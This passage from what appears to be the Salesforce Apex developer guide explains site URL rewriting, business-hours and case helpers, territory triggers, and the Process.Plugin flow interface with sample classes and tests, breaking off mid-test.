User-friendly URLs must be distinct from Salesforce URLs. URLs with a three-character entity prefix or a 15- or 18-character ID are
not rewritten.
You can't use periods in your rewritten URLs.
Restricted Strings
You can't use the following reserved strings as part of a rewritten URL path:
apexcomponent
apexpages
ex
faces
flash
flex
google
home
ideas
images
img
javascript
js
lumen
m
resource
search
secur
services
servlet
setup
sfc
sfdc_ns
site
style

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vote
widg
Relative Paths Only
The PageReference.getUrl() method only returns the part of the URL immediately following the host name or site prefix (if any).
For example, if your URL is http://mycompany.force.com/sales/MyPage?id=12345, where sales is the site
prefix, only /MyPage?id=12345 is returned.
You can't rewrite the domain or site prefix.
Unique Paths Only
You can't map a URL to a directory that has the same name as your site prefix. For example, if your site URL is
http://acme.force.com/help, where help is the site prefix, you can't point the URL to help/page. The resulting
path, http://acme.force.com/help/help/page, would be returned instead as
http://acme.force.com/help/page.
Query in Bulk
For better performance with page generation, perform tasks in bulk rather than one at a time for the generateUrlFor method.
Enforce Field Uniqueness
Make sure the fields you choose for rewriting URLs are unique. Using unique or indexed fields in SOQL for your queries may improve
performance.
You can also use the Site.lookupIdByFieldValue method to look up records by a unique field name and value. The
method verifies that the specified field has a unique or external ID; otherwise it returns an error.
Here is an example, where mynamespace is the namespace, Blog is the custom object name, title is the custom field name, and
myBlog is the value to look for:
Site.lookupIdByFieldValue(Schema.sObjectType.
mynamespace__Blog__c.fields.title__c,'myBlog');

Adding URL Rewriting to a Site

Once you've created the URL rewriting Apex class, follow these steps to add it to your site:
1. From Setup, enter Sites in the Quick Find box, then select Sites.
2. Click New or click Edit for an existing site.
3. On the Site Edit page, choose an Apex class for URL Rewriter Class.
4. Click Save.
Note: If you have URL rewriting enabled on your site, all PageReferences are passed through the URL rewriter.

Code Example
In this example, we have a simple site consisting of two Visualforce pages: mycontact and myaccount. Be sure you have Read permission
enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact page includes a link
to the parent account, plus contact details.
Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated in the before
figure. Once rewriting was enabled, the address bar and links show more user-friendly rewritten URLs, illustrated in the after figure.
The Apex class used to rewrite the URLs for these pages is shown in Example URL Rewriting Apex Class, with detailed comments.

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Example Site Pages

This section shows the Visualforce for the account and contact pages used in this example.
The account page uses the standard controller for accounts and is nothing more than a standard detail page. This page should be named
myaccount.
<apex:page standardController="Account">
<apex:detail relatedList="false"/>
</apex:page>

The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account using the
URLFOR function and the $Page merge variable; the second simply provides the contact details. Notice that the Visualforce page
doesn't contain any rewriting logic except URLFOR. This page should be named mycontact.
<apex:page standardController="contact">
<apex:pageBlock title="Parent Account">
<apex:outputLink value="{!URLFOR($Page.mycontact,null,
[id=contact.account.id])}">{!contact.account.name}
</apex:outputLink>
</apex:pageBlock>
<apex:detail relatedList="false"/>
</apex:page>

Example URL Rewriting Apex Class

The Apex class used as the URL rewriter for the site uses the mapRequestUrl method to map incoming URL requests to the right
Salesforce record. It also uses the generateUrlFor method to rewrite the URL for the link to the account page in a more user-friendly
form.
global with sharing class myRewriter implements Site.UrlRewriter {
//Variables to represent the user-friendly URLs for
//account and contact pages
String ACCOUNT_PAGE = '/myaccount/';
String CONTACT_PAGE = '/mycontact/';
//Variables to represent my custom Visualforce pages
//that display account and contact information
String ACCOUNT_VISUALFORCE_PAGE = '/myaccount?id=';
String CONTACT_VISUALFORCE_PAGE = '/mycontact?id=';
global PageReference mapRequestUrl(PageReference
myFriendlyUrl){
String url = myFriendlyUrl.getUrl();
if(url.startsWith(CONTACT_PAGE)){
//Extract the name of the contact from the URL
//For example: /mycontact/Ryan returns Ryan
String name = url.substring(CONTACT_PAGE.length(),
url.length());
//Select the ID of the contact that matches
//the name from the URL
Contact con = [SELECT Id FROM Contact WHERE Name =:
name LIMIT 1];

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//Construct a new page reference in the form

//of my Visualforce page
return new PageReference(CONTACT_VISUALFORCE_PAGE + con.id);
}
if(url.startsWith(ACCOUNT_PAGE)){
//Extract the name of the account
String name = url.substring(ACCOUNT_PAGE.length(),
url.length());
//Query for the ID of an account with this name
Account acc = [SELECT Id FROM Account WHERE Name =:name LIMIT 1];
//Return a page in Visualforce format
return new PageReference(ACCOUNT_VISUALFORCE_PAGE + acc.id);
}
//If the URL isn't in the form of a contact or
//account page, continue with the request
return null;
}
global List<PageReference> generateUrlFor(List<PageReference>
mySalesforceUrls){
//A list of pages to return after all the links
//have been evaluated
List<PageReference> myFriendlyUrls = new List<PageReference>();
//a list of all the ids in the urls
List<id> accIds = new List<id>();
// loop through all the urls once, finding all the valid ids
for(PageReference mySalesforceUrl : mySalesforceUrls){
//Get the URL of the page
String url = mySalesforceUrl.getUrl();
//If this looks like an account page, transform it
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
//Extract the ID from the query parameter
//and store in a list
//for querying later in bulk.
String id= url.substring(ACCOUNT_VISUALFORCE_PAGE.length(),
url.length());
accIds.add(id);
}
}
// Get all the account names in bulk
List <account> accounts = [SELECT Name FROM Account WHERE Id IN :accIds];
// make the new urls
Integer counter = 0;
// it is important to go through all the urls again, so that the order
// of the urls in the list is maintained.
for(PageReference mySalesforceUrl : mySalesforceUrls) {

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//Get the URL of the page

String url = mySalesforceUrl.getUrl();
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name));
counter++;
} else {
//If this doesn't start like an account page,
//don't do any transformations
myFriendlyUrls.add(mySalesforceUrl);
}
}
//Return the full list of pages
return myFriendlyUrls;
}
}

Before and After Rewriting

Here is a visual example of the results of implementing the Apex class to rewrite the original site URLs. Notice the ID-based URLs in the
first figure, and the user-friendly URLs in the second.
Site URLs Before Rewriting

The numbered elements in this figure are:

1. The original URL for the contact page before rewriting
2. The link to the parent account page from the contact page
3. The original URL for the link to the account page before rewriting, shown in the browser's status bar

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Site URLs After Rewriting

The numbered elements in this figure are:

1. The rewritten URL for the contact page after rewriting
2. The link to the parent account page from the contact page
3. The rewritten URL for the link to the account page after rewriting, shown in the browser's status bar

Support Classes
Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.

Working with Business Hours

Business hours are used to specify the hours at which your customer support team operates, including multiple business hours in multiple
time zones.
This example finds the time one business hour from startTime, returning the Datetime in the local time zone. It gets the default business
hours by querying BusinessHours. Also, it calls the BusinessHours add method.
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in the local timezone.
Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);

This example finds the time one business hour from startTime, returning the Datetime in GMT:
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];

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// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.

Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in GMT.
Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);

The next example finds the difference between startTime and nextTime:
// Get the default business hours
BusinessHours bh = [select id from businesshours where IsDefault=true];
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Create Datetime on May 28, 2008 at 4:06:08 PM in local timezone.
Datetime endTime = Datetime.newInstance(2008, 5, 28, 16, 6, 8);
// Find the number of business hours milliseconds between startTime and endTime as
// defined by the default business hours. Will return a negative value if endTime is
// before startTime, 0 if equal, positive value otherwise.
Long diff = BusinessHours.diff(bh.id, startTime, endTime);

Working with Cases

Incoming and outgoing email messages can be associated with their corresponding cases using the Cases class
getCaseIdFromEmailThreadId method. This method is used with Email-to-Case, which is an automated process that turns
emails received from customers into customer service cases.
The following example uses an email thread ID to retrieve the related case ID.
public class GetCaseIdController {
public static void getCaseIdSample() {
// Get email thread ID
String emailThreadId = '_00Dxx1gEW._500xxYktg';
// Call Apex method to retrieve case ID from email thread ID
ID caseId = Cases.getCaseIdFromEmailThreadId(emailThreadId);
}
}

SEE ALSO:
BusinessHours Class
Cases Class

Territory Management 2.0

With trigger support for the Territory2 and UserTerritory2Association standard objects, you can automate actions and processes related
to changes in these territory management records.

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Sample Trigger for Territory2

This example trigger fires after Territory2 records have been created or deleted. This example trigger assumes that an organization has
a custom field called TerritoryCount__c defined on the Territory2Model object to track the net number of territories in each
territory model. The trigger code increments or decrements the value in the TerritoryCount__c field each time a territory is
created or deleted.
trigger maintainTerritoryCount on Territory2 (after insert, after delete) {
// Track the effective delta for each model
Map<Id, Integer> modelMap = new Map<Id, Integer>();
for(Territory2 terr : (Trigger.isInsert ? Trigger.new : Trigger.old)) {
Integer offset = 0;
if(modelMap.containsKey(terr.territory2ModelId)) {
offset = modelMap.get(terr.territory2ModelId);
}
offset += (Trigger.isInsert ? 1 : -1);
modelMap.put(terr.territory2ModelId, offset);
}
// We have a custom field on Territory2Model called TerritoryCount__c
List<Territory2Model> models = [SELECT Id, TerritoryCount__c FROM
Territory2Model WHERE Id IN :modelMap.keySet()];
for(Territory2Model tm : models) {
// In case the field is not defined with a default of 0
if(tm.TerritoryCount__c == null) {
tm.TerritoryCount__c = 0;
}
tm.TerritoryCount__c += modelMap.get(tm.Id);
}
// Bulk update the field on all the impacted models
update(models);
}

Sample Trigger for UserTerritory2Association

This example trigger fires after UserTerritory2Association records have been created. This example trigger sends an email notification to
the Sales Operations group letting them know that users have been added to territories. It identifies the user who added users to
territories. Then, it identifies each added user along with which territory the user was added to and which territory model the territory
belongs to.
trigger notifySalesOps on UserTerritory2Association (after insert) {
// Query the details of the users and territories involved
List<UserTerritory2Association> utaList = [SELECT Id, User.FirstName, User.LastName,
Territory2.Name, Territory2.Territory2Model.Name
FROM UserTerritory2Association WHERE Id IN :Trigger.New];
// Email message to send
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(new String[]{'[email protected]'});
mail.setSubject('Users added to territories notification');
// Build the message body
List<String> msgBody = new List<String>();

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String addedToTerrStr = '{0}, {1} added to territory {2} in model {3} \n';
msgBody.add('The following users were added to territories by ' +
UserInfo.getFirstName() + ', ' + UserInfo.getLastName() + '\n');
for(UserTerritory2Association uta : utaList) {
msgBody.add(String.format(addedToTerrStr,
new String[]{uta.User.FirstName, uta.User.LastName,
uta.Territory2.Name, uta.Territory2.Territory2Model.Name}));
}
// Set the message body and send the email
mail.setPlainTextBody(String.join(msgBody,''));
Messaging.sendEmail(new Messaging.Email[] { mail });
}

Visual Workflow
Visual Workflow allows administrators to build applications, known as flows, that guide users through screens for collecting and updating
data.
For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales
organization. You can embed a flow in a Visualforce page and access it in a Visualforce controller using Apex.
IN THIS SECTION:
Getting Flow Variables
You can retrieve flow variables for a specific flow in Apex.
Passing Data to a Flow Using the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to process data within your organization and pass it to a specified flow.
The interface exposes Apex as a service, which accepts input values and returns output back to the flow.

Getting Flow Variables

You can retrieve flow variables for a specific flow in Apex.
The Flow.Interview Apex class provides the getVariableValue method for retrieving a flow variable, which can be in the
flow embedded in the Visualforce page, or in a separate flow that is called by a subflow element. This example shows how to use this
method to obtain breadcrumb (navigation) information from the flow embedded in the Visualforce page. If that flow contains subflow
elements, and each of the referenced flows also contains a vaBreadCrumb variable, the Visualforce page can provide users with
breadcrumbs regardless of which flow the interview is running.
public class SampleContoller {
// Instance of the flow
public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}
public String getBreadCrumb() {
String aBreadCrumb;
if (myFlow==null) { return 'Home';}
else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
return(aBreadCrumb==null ? 'Home': aBreadCrumb);

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}
}

Passing Data to a Flow Using the Process.Plugin Interface

Process.Plugin is a built-in interface that allows you to process data within your organization and pass it to a specified flow. The

interface exposes Apex as a service, which accepts input values and returns output back to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
When you define an Apex class that implements the Process.Plugin interface in your organization, the Cloud Flow Designer
displays the Apex class in the Palette.
Process.Plugin has these top-level classes.

Process.PluginRequest passes input parameters from the class that implements the interface to the flow.
Process.PluginResult returns output parameters from the class that implements the interface to the flow.
Process.PluginDescribeResult passes input parameters from a flow to the class that implements the interface. This
class determines the input parameters and output parameters needed by the Process.PluginResult plug-in.
When you write Apex unit tests, instantiate a class and pass it into the interface invoke method. To pass in the parameters that the
system needs, create a map and use it in the constructor. For more information, see Using the Process.PluginRequest Class
on page 436.
IN THIS SECTION:
Implementing the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to pass data between your organization and a specified flow.
Using the Process.PluginRequest Class
The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow.
Using the Process.PluginResult Class
The Process.PluginResult class returns output parameters from the class that implements the interface to the flow.
Using the Process.PluginDescribeResult Class
Use the Process.Plugin interface describe method to dynamically provide both input and output parameters for the
flow. This method returns the Process.PluginDescribeResult class.
Process.Plugin Data Type Conversions
Understand how data types are converted between Apex and the values returned to the Process.Plugin. For example, text
data in a flow converts to string data in Apex.

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Sample Process.Plugin Implementation for Lead Conversion

Implementing the Process.Plugin Interface

Process.Plugin is a built-in interface that allows you to pass data between your organization and a specified flow.

Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
The class that implements the Process.Plugin interface must call these methods.
Name

Arguments

Return Type

Description

Process.PluginDescribeResult Returns a
Process.PluginDescribeResult

describe

object that describes this method call.

invoke

Process.PluginRequest Process.PluginResult

Primary method that the system invokes

when the class that implements the
interface is instantiated.

Example Implementation
global class flowChat implements Process.Plugin {
// The main method to be implemented. The Flow calls this at runtime.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed
FeedItem fItem = new FeedItem();
fItem.ParentId = UserInfo.getUserId();
fItem.Body = 'Force.com flow Update: ' + subject;
insert fItem;
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// Returns the describe information for the interface
global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.Name = 'flowchatplugin';

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result.Tag = 'chat';
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{ };
return result;
}
}

Test Class
The following is a test class for the above class.
@isTest
private class flowChatTest {
static testmethod void flowChatTests() {
flowChat plugin = new flowChat();
Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);

plugin.invoke(request);
}
}

Using the Process.PluginRequest Class

The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
This class has no methods.
Constructor signature:
Process.PluginRequest (Map<String,Object>)

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Heres an example of instantiating the Process.PluginRequest class with one input parameter.
Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);

Code Example
In this example, the code returns the subject of a Chatter post from a flow and posts it to the current user's feed.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed
FeedPost fpost = new FeedPost();
fpost.ParentId = UserInfo.getUserId();
fpost.Body = 'Force.com flow Update: ' + subject;
insert fpost;
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// describes the interface
global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
};
return result;
}
}

Using the Process.PluginResult Class

The Process.PluginResult class returns output parameters from the class that implements the interface to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
You can instantiate the Process.PluginResult class using one of the following formats:
Process.PluginResult (Map<String,Object>)
Process.PluginResult (String, Object)

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Use the map when you have more than one result or when you don't know how many results will be returned.
The following is an example of instantiating a Process.PluginResult class.
string url = 'https://docs.google.com/document/edit?id=abc';
String status = 'Success';
Map<String,Object> result = new Map<String,Object>();
result.put('url', url);
result.put('status',status);
new Process.PluginResult(result);

Using the Process.PluginDescribeResult Class

Use the Process.Plugin interface describe method to dynamically provide both input and output parameters for the flow.
This method returns the Process.PluginDescribeResult class.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
The Process.PluginDescribeResult class doesnt support the following functions.
Queries
Data modification
Email
Apex nested callouts

Process.PluginDescribeResult Class and Subclass Properties

Heres the constructor for the Process.PluginDescribeResult class.
Process.PluginDescribeResult classname = new Process.PluginDescribeResult();

PluginDescribeResult Class Properties

PluginDescribeResult.InputParameter Class Properties
PluginDescribeResult.OutputParameter Class Properties
Heres the constructor for the Process.PluginDescribeResult.InputParameter class.
Process.PluginDescribeResult.InputParameter ip = new
Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum, Boolean_required);

Heres the constructor for the Process.PluginDescribeResult.OutputParameter class.

Process.PluginDescribeResult.OutputParameter op = new
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum);

To use the Process.PluginDescribeResult class, create instances of these subclasses.

Process.PluginDescribeResult.InputParameter

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Process.PluginDescribeResult.OutputParameter
Process.PluginDescribeResult.InputParameter is a list of input parameters and has the following format.
Process.PluginDescribeResult.inputParameters =
new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum, Boolean_required)

For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('FullName',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('DOB',
Process.PluginDescribeResult.ParameterType.DATE, true),
};

Process.PluginDescribeResult.OutputParameter is a list of output parameters and has the following format.

Process.PluginDescribeResult.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum)

For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING),

Both classes take the Process.PluginDescribeResult.ParameterType Enum. Valid values are:

BOOLEAN
DATE
DATETIME
DECIMAL
DOUBLE
FLOAT
ID
INTEGER
LONG
STRING

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For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.OutputParameter('STATUS',
Process.PluginDescribeResult.ParameterType.STRING),
};

Process.Plugin Data Type Conversions

Understand how data types are converted between Apex and the values returned to the Process.Plugin. For example, text data
in a flow converts to string data in Apex.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
Flow Data Type

Data Type

Number

Decimal

Date

Datetime/Date

DateTime

Datetime/Date

Boolean

Boolean and numeric with 1 or 0 values only

Text

String

Sample Process.Plugin Implementation for Lead Conversion

In this example, an Apex class implements the Process.Plugin interface and converts a lead into an account, contact, and
optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via an Apex
plug-in element.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
// Converts a lead as a step in a Visual Workflow process.
global class VWFConvertLead implements Process.Plugin {
// This method runs when called by a flow's Apex plug-in element.
global Process.PluginResult invoke(
Process.PluginRequest request) {

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// Set up variables to store input parameters from

// the flow.
String leadID = (String) request.inputParameters.get(
'LeadID');
String contactID = (String)
request.inputParameters.get('ContactID');
String accountID = (String)
request.inputParameters.get('AccountID');
String convertedStatus = (String)
request.inputParameters.get('ConvertedStatus');
Boolean overWriteLeadSource = (Boolean)
request.inputParameters.get('OverwriteLeadSource');
Boolean createOpportunity = (Boolean)
request.inputParameters.get('CreateOpportunity');
String opportunityName = (String)
request.inputParameters.get('ContactID');
Boolean sendEmailToOwner = (Boolean)
request.inputParameters.get('SendEmailToOwner');
// Set the default handling for booleans.
if (overWriteLeadSource == null)
overWriteLeadSource = false;
if (createOpportunity == null)
createOpportunity = true;
if (sendEmailToOwner == null)
sendEmailToOwner = false;
// Convert the lead by passing it to a helper method.
Map<String,Object> result = new Map<String,Object>();
result = convertLead(leadID, contactID, accountID,
convertedStatus, overWriteLeadSource,
createOpportunity, opportunityName,
sendEmailToOwner);
return new Process.PluginResult(result);
}
// This method describes the plug-in and its inputs from
// and outputs to the flow.
// Implementing this method adds the class to the
// Cloud Flow Designer palette.
global Process.PluginDescribeResult describe() {
// Set up plugin metadata
Process.PluginDescribeResult result = new
Process.PluginDescribeResult();
result.description =
'The LeadConvert Flow Plug-in converts a lead into ' +
'an account, a contact, and ' +
'(optionally)an opportunity.';
result.tag = 'Lead Management';
// Create a list that stores both mandatory and optional
// input parameters from the flow.

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// NOTE: Only primitive types (STRING, NUMBER, etc.) are

// supported at this time.
// Collections are currently not supported.
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
// Lead ID (mandatory)
new Process.PluginDescribeResult.InputParameter(
'LeadID',
Process.PluginDescribeResult.ParameterType.STRING,
true),
// Account Id (optional)
new Process.PluginDescribeResult.InputParameter(
'AccountID',
Process.PluginDescribeResult.ParameterType.STRING,
false),
// Contact ID (optional)
new Process.PluginDescribeResult.InputParameter(
'ContactID',
Process.PluginDescribeResult.ParameterType.STRING,
false),
// Status to use once converted
new Process.PluginDescribeResult.InputParameter(
'ConvertedStatus',
Process.PluginDescribeResult.ParameterType.STRING,
true),
new Process.PluginDescribeResult.InputParameter(
'OpportunityName',
Process.PluginDescribeResult.ParameterType.STRING,
false),
new Process.PluginDescribeResult.InputParameter(
'OverwriteLeadSource',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
new Process.PluginDescribeResult.InputParameter(
'CreateOpportunity',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
new Process.PluginDescribeResult.InputParameter(
'SendEmailToOwner',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false)
};
// Create a list that stores output parameters sent
// to the flow.
result.outputParameters = new List<
Process.PluginDescribeResult.OutputParameter>{
// Account ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'AccountID',
Process.PluginDescribeResult.ParameterType.STRING),
// Contact ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'ContactID',

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Process.PluginDescribeResult.ParameterType.STRING),
// Opportunity ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'OpportunityID',
Process.PluginDescribeResult.ParameterType.STRING)
};
return result;
}
/**
* Implementation of the LeadConvert plug-in.
* Converts a given lead with several options:
* leadID - ID of the lead to convert
* contactID * accountID - ID of the Account to attach the converted
* Lead/Contact/Opportunity to.
* convertedStatus * overWriteLeadSource * createOpportunity - true if you want to create a new
* Opportunity upon conversion
* opportunityName - Name of the new Opportunity.
* sendEmailtoOwner - true if you are changing owners upon
* conversion and want to notify the new Opportunity owner.
*
* returns: a Map with the following output:
* AccountID - ID of the Account created or attached
* to upon conversion.
* ContactID - ID of the Contact created or attached
* to upon conversion.
* OpportunityID - ID of the Opportunity created
* upon conversion.
*/
public Map<String,String> convertLead (
String leadID,
String contactID,
String accountID,
String convertedStatus,
Boolean overWriteLeadSource,
Boolean createOpportunity,
String opportunityName,
Boolean sendEmailToOwner
) {
Map<String,String> result = new Map<String,String>();
if (leadId == null) throw new ConvertLeadPluginException(
'Lead Id cannot be null');
// check for multiple leads with the same ID
Lead[] leads = [Select Id, FirstName, LastName, Company
From Lead where Id = :leadID];
if (leads.size() > 0) {
Lead l = leads[0];
// CheckAccount = true, checkContact = false

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if (accountID == null && l.Company != null) {

Account[] accounts = [Select Id, Name FROM Account
where Name = :l.Company LIMIT 1];
if (accounts.size() > 0) {
accountId = accounts[0].id;
}
}
// Perform the lead conversion.
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(leadID);
lc.setOverwriteLeadSource(overWriteLeadSource);
lc.setDoNotCreateOpportunity(!createOpportunity);
lc.setConvertedStatus(convertedStatus);
if (sendEmailToOwner != null) lc.setSendNotificationEmail(
sendEmailToOwner);
if (accountId != null && accountId.length() > 0)
lc.setAccountId(accountId);
if (contactId != null && contactId.length() > 0)
lc.setContactId(contactId);
if (createOpportunity) {
lc.setOpportunityName(opportunityName);
}
Database.LeadConvertResult lcr = Database.convertLead(
lc, true);
if (lcr.isSuccess()) {
result.put('AccountID', lcr.getAccountId());
result.put('ContactID', lcr.getContactId());
if (createOpportunity) {
result.put('OpportunityID',
lcr.getOpportunityId());
}
} else {
String error = lcr.getErrors()[0].getMessage();
throw new ConvertLeadPluginException(error);
}
} else {
throw new ConvertLeadPluginException(
'No leads found with Id : "' + leadId + '"');
}
return result;
}
// Utility exception class
class ConvertLeadPluginException extends Exception {}
}
// Test class for the lead convert Apex plug-in.
@isTest
private class VWFConvertLeadTest {
static testMethod void basicTest() {
// Create test lead
Lead testLead = new Lead(

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Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
LeadStatus convertStatus =
[Select Id, MasterLabel from LeadStatus
where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead = [select name, id, isConverted
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
}
/*
* This tests lead conversion with
* the Account ID specified.
*/
static testMethod void basicTestwithAccount() {
// Create test lead
Lead testLead = new Lead(
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
Account testAccount = new Account(name='Test Account');
insert testAccount;
// System.debug('ACCOUNT BEFORE' + testAccount.ID);
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('AccountID',testAccount.ID);
inputParams.put('ConvertedStatus',

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convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead =
[select name, id, isConverted, convertedAccountID
